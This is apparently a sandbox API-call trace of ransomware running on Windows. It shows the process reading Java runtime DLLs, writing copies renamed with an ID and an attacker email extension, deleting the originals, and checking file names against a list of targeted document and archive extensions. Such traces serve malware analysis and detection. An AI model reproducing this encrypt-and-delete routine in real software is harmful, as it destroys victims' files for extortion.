	[0086.207] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.207] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=538176) returned 1
	[0086.207] CloseHandle (hObject=0x378) returned 1
	[0086.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20
	[0086.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.207] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.207] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.207] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.207] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0086.208] GetLastError () returned 0x0
	[0086.208] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x83640, lpOverlapped=0x0) returned 1
	[0086.435] WriteFile (in: hFile=0x334, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x83650, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x83650, lpOverlapped=0x0) returned 1
	[0086.445] ReadFile (in: hFile=0x378, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.445] WriteFile (in: hFile=0x334, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xfa, lpOverlapped=0x0) returned 1
	[0086.445] SetEndOfFile (hFile=0x334) returned 1
	[0086.445] CloseHandle (hObject=0x334) returned 1
	[0086.445] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.445] SetEndOfFile (hFile=0x378) returned 1
	[0086.451] CloseHandle (hObject=0x378) returned 1
	[0086.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.654] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 1
	[0086.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.655] lstrlenW (lpString=".doc") returned 4
	[0086.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.655] lstrlenW (lpString=".docx") returned 5
	[0086.655] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1
	[0086.655] lstrlenW (lpString=".pdf") returned 4
	[0086.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.655] lstrlenW (lpString=".xls") returned 4
	[0086.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.655] lstrlenW (lpString=".xlsx") returned 5
	[0086.655] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1
	[0086.655] lstrlenW (lpString=".ppt") returned 4
	[0086.655] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.655] lstrlenW (lpString=".zip") returned 4
	[0086.655] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.655] lstrlenW (lpString=".rar") returned 4
	[0086.655] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.655] lstrlenW (lpString=".bz2") returned 4
	[0086.655] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.655] lstrlenW (lpString=".7z") returned 3
	[0086.655] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.655] lstrlenW (lpString=".dbf") returned 4
	[0086.655] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.655] lstrlenW (lpString=".1cd") returned 4
	[0086.655] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.655] lstrlenW (lpString=".jpg") returned 4
	[0086.655] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.656] lstrlenW (lpString=".doc") returned 4
	[0086.656] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.656] lstrlenW (lpString=".docx") returned 5
	[0086.656] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1
	[0086.656] lstrlenW (lpString=".pdf") returned 4
	[0086.656] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.656] lstrlenW (lpString=".xls") returned 4
	[0086.656] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.656] lstrlenW (lpString=".xlsx") returned 5
	[0086.656] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1
	[0086.656] lstrlenW (lpString=".ppt") returned 4
	[0086.656] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.656] lstrlenW (lpString=".zip") returned 4
	[0086.656] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.656] lstrlenW (lpString=".rar") returned 4
	[0086.656] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.656] lstrlenW (lpString=".bz2") returned 4
	[0086.656] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.656] lstrlenW (lpString=".7z") returned 3
	[0086.656] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.656] lstrlenW (lpString=".dbf") returned 4
	[0086.656] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.656] lstrlenW (lpString=".1cd") returned 4
	[0086.656] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58
	[0086.656] lstrlenW (lpString=".jpg") returned 4
	[0086.656] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.794] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0086.794] lstrlenW (lpString="jfr.dll") returned 7
	[0086.794] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0086.794] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=26688) returned 1
	[0086.794] CloseHandle (hObject=0x2f8) returned 1
	[0086.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20
	[0086.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.795] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0086.795] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.795] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.795] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.795] GetLastError () returned 0x0
	[0086.795] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x6840, lpOverlapped=0x0) returned 1
	[0086.798] WriteFile (in: hFile=0x36c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x6850, lpOverlapped=0x0) returned 1
	[0086.799] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.799] WriteFile (in: hFile=0x36c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0086.799] SetEndOfFile (hFile=0x36c) returned 1
	[0086.799] CloseHandle (hObject=0x36c) returned 1
	[0086.799] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.799] SetEndOfFile (hFile=0x2f8) returned 1
	[0086.800] CloseHandle (hObject=0x2f8) returned 1
	[0086.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.800] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 1
	[0086.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.801] lstrlenW (lpString=".doc") returned 4
	[0086.801] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.801] lstrlenW (lpString=".docx") returned 5
	[0086.801] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0086.801] lstrlenW (lpString=".pdf") returned 4
	[0086.801] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.801] lstrlenW (lpString=".xls") returned 4
	[0086.801] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.801] lstrlenW (lpString=".xlsx") returned 5
	[0086.801] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0086.801] lstrlenW (lpString=".ppt") returned 4
	[0086.801] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.801] lstrlenW (lpString=".zip") returned 4
	[0086.801] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.801] lstrlenW (lpString=".rar") returned 4
	[0086.801] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.801] lstrlenW (lpString=".bz2") returned 4
	[0086.801] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.801] lstrlenW (lpString=".7z") returned 3
	[0086.801] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.801] lstrlenW (lpString=".dbf") returned 4
	[0086.801] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.801] lstrlenW (lpString=".1cd") returned 4
	[0086.802] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.802] lstrlenW (lpString=".jpg") returned 4
	[0086.802] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.802] lstrlenW (lpString=".doc") returned 4
	[0086.802] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.802] lstrlenW (lpString=".docx") returned 5
	[0086.802] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0086.802] lstrlenW (lpString=".pdf") returned 4
	[0086.802] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.802] lstrlenW (lpString=".xls") returned 4
	[0086.802] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.802] lstrlenW (lpString=".xlsx") returned 5
	[0086.802] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0086.802] lstrlenW (lpString=".ppt") returned 4
	[0086.802] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.802] lstrlenW (lpString=".zip") returned 4
	[0086.802] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.802] lstrlenW (lpString=".rar") returned 4
	[0086.802] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.802] lstrlenW (lpString=".bz2") returned 4
	[0086.802] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.802] lstrlenW (lpString=".7z") returned 3
	[0086.802] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.802] lstrlenW (lpString=".dbf") returned 4
	[0086.802] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.802] lstrlenW (lpString=".1cd") returned 4
	[0086.802] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0086.803] lstrlenW (lpString=".jpg") returned 4
	[0086.803] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.803] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0086.803] lstrlenW (lpString="jfxmedia.dll") returned 12
	[0086.803] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0086.812] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=139840) returned 1
	[0086.812] CloseHandle (hObject=0x2f8) returned 1
	[0086.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20
	[0086.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.812] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0086.813] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.813] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.813] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.813] GetLastError () returned 0x0
	[0086.813] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x22240, lpOverlapped=0x0) returned 1
	[0086.817] WriteFile (in: hFile=0x36c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x22250, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x22250, lpOverlapped=0x0) returned 1
	[0086.820] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.820] WriteFile (in: hFile=0x36c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.820] SetEndOfFile (hFile=0x36c) returned 1
	[0086.820] CloseHandle (hObject=0x36c) returned 1
	[0086.820] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.820] SetEndOfFile (hFile=0x2f8) returned 1
	[0086.822] CloseHandle (hObject=0x2f8) returned 1
	[0086.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.822] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 1
	[0086.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.822] lstrlenW (lpString=".doc") returned 4
	[0086.822] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.823] lstrlenW (lpString=".docx") returned 5
	[0086.823] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0086.823] lstrlenW (lpString=".pdf") returned 4
	[0086.823] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.823] lstrlenW (lpString=".xls") returned 4
	[0086.823] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.823] lstrlenW (lpString=".xlsx") returned 5
	[0086.823] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0086.823] lstrlenW (lpString=".ppt") returned 4
	[0086.823] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.823] lstrlenW (lpString=".zip") returned 4
	[0086.823] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.823] lstrlenW (lpString=".rar") returned 4
	[0086.823] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.823] lstrlenW (lpString=".bz2") returned 4
	[0086.823] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.823] lstrlenW (lpString=".7z") returned 3
	[0086.823] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.823] lstrlenW (lpString=".dbf") returned 4
	[0086.823] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.823] lstrlenW (lpString=".1cd") returned 4
	[0086.823] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.823] lstrlenW (lpString=".jpg") returned 4
	[0086.824] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.824] lstrlenW (lpString=".doc") returned 4
	[0086.824] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.824] lstrlenW (lpString=".docx") returned 5
	[0086.824] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0086.824] lstrlenW (lpString=".pdf") returned 4
	[0086.824] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.824] lstrlenW (lpString=".xls") returned 4
	[0086.824] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.824] lstrlenW (lpString=".xlsx") returned 5
	[0086.824] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0086.824] lstrlenW (lpString=".ppt") returned 4
	[0086.824] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.824] lstrlenW (lpString=".zip") returned 4
	[0086.824] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.824] lstrlenW (lpString=".rar") returned 4
	[0086.824] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.824] lstrlenW (lpString=".bz2") returned 4
	[0086.824] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.824] lstrlenW (lpString=".7z") returned 3
	[0086.824] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.824] lstrlenW (lpString=".dbf") returned 4
	[0086.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.824] lstrlenW (lpString=".1cd") returned 4
	[0086.824] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0086.825] lstrlenW (lpString=".jpg") returned 4
	[0086.825] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.825] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0086.825] lstrlenW (lpString="jfxwebkit.dll") returned 13
	[0086.825] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0086.825] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=41503296) returned 1
	[0086.825] CloseHandle (hObject=0x2f8) returned 1
	[0086.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20
